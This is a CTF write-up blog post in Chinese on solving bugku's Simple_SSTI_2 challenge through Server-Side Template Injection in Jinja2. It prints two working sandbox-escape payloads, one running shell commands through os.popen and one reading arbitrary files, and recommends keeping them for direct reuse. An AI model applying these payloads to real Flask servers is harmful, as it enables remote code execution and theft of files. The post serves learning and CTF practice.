CTFer成长记录——CTF之Web专题·bugku-Simple_SSTI_2
1.CTFer成长记录——web专题·本地访问网址2.CTFer成长记录——web专题·一句话木马3.CTFer成长记录——Web专题·从cookie中获取信息4.CTFer成长记录——Web专题·双写绕过5.CTFer成长记录——Web专题·robots协议6.CTFer成长记录——Web专题·Linux中的.swp文件7.CTFer成长记录——Web专题·修改页面元素8.CTFer成长记录——Web专题·判断绕过9.CTFer成长记录——CTF之Web专题·初识反序列化10.CTFer成长记录——CTF之Web专题·攻防世界-PHP2
11. CTFer成长记录——CTF之Web专题·bugku-Simple_SSTI_2
12.CTFer成长记录——CTF之Web专题·bugku-eval13.CTFer成长记录——CTF之Web专题·bugku-变量114.CTFer成长记录——CTF之Web专题·[ACTF2020 新生赛]Include15. CTFer成长记录——CTF之Web专题·bugku—备份是个好习惯16.CTFer成长记录——CTF之Web专题·攻防世界—easyupload17.CTFer成长记录——CTF之Web专题·攻防世界—fileinclude·好多文件呀18.CTFer成长记录——CTF之Web专题·攻防世界—easyphp19. CTFer成长记录——CTF之Web专题·buuctf—secretfile20.CTFer成长记录——CTF之Web专题·19强网杯—随便注21.CTFer成长记录——CTF之Web专题·攻防世界—file_include22.CTFer成长记录——CTF之Web专题·攻防世界—unseping23.CTFer成长记录——CTF之Web专题·攻防世界—NewsCenter24.CTFer成长记录——CTF之Web专题·极客大挑战 2019—http25.CTFer成长记录——CTF之Web专题·极客大挑战—Upload26.CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL27.CTFer成长记录——CTF之Web专题·攻防世界-Web_python_template_injection28.CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize29.CTFer成长记录——CTF之Web专题·攻防世界-php_rce30.CTFer成长记录——CTF之Web专题·攻防世界-Web_php_include31. CTFer成长记录——CTF之Web专题·buuctf-easy_tornado32.CTFer成长记录——CTF之Web专题·攻防世界—lottery33. CTFer成长记录——CTF之Web专题·攻防世界—ics-0534.CTFer成长记录——CTF之Web专题·buuctf—admin35.CTFer成长记录——CTF之Web专题·buuctf—Cookies36. CTFer成长记录——CTF之Web专题·bugku—never_give_up37.CTFer成长记录——CTF之Web专题·[SWPUCTF 2021 新生赛]jicao一、题目链接
https://ctf.bugku.com/challenges/detail/id/203.html
二、解法步骤
题目是SSTI,也就是服务器模板注入,页面提示我们需要传递一个flag参数。
由于是模板,可以传flag={{config}}看看:
显示
说明这里存在命令执行的漏洞,查询资料发现此处可以执行jinja2模板的语法。参考资料:https://blog.csdn.net/weixin_30802953/article/details/113013342
在jinja2中是可以直接访问python的一些对象及其方法的。要想利用jinja2语法执行Python调用系统命令,就需要用到python沙盒逃逸:绕过模拟的Python终端,最终实现命令执行。
共有两条代码:
命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('这里输入命令').read()") }}{% endif %}{% endfor %}
文件操作:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输入文件名', 'r').read() }}{% endif %}{% endfor %}
本题我们先进行命令执行,看下目录下有没有文件:
?flag={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
发现了flag文件,然后使用文件操作打开。
?flag={% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘flag’, ‘r’).read() }}{% endif %}{% endfor %}
拿下flag:flag{9e1f1ab0c403a2020a9f8ec65688fc99}
三、总结
本题考了SSTI与jinja2模板引擎。SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。jinja2的两条执行代码可以积累下来,下次碰到了直接用。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!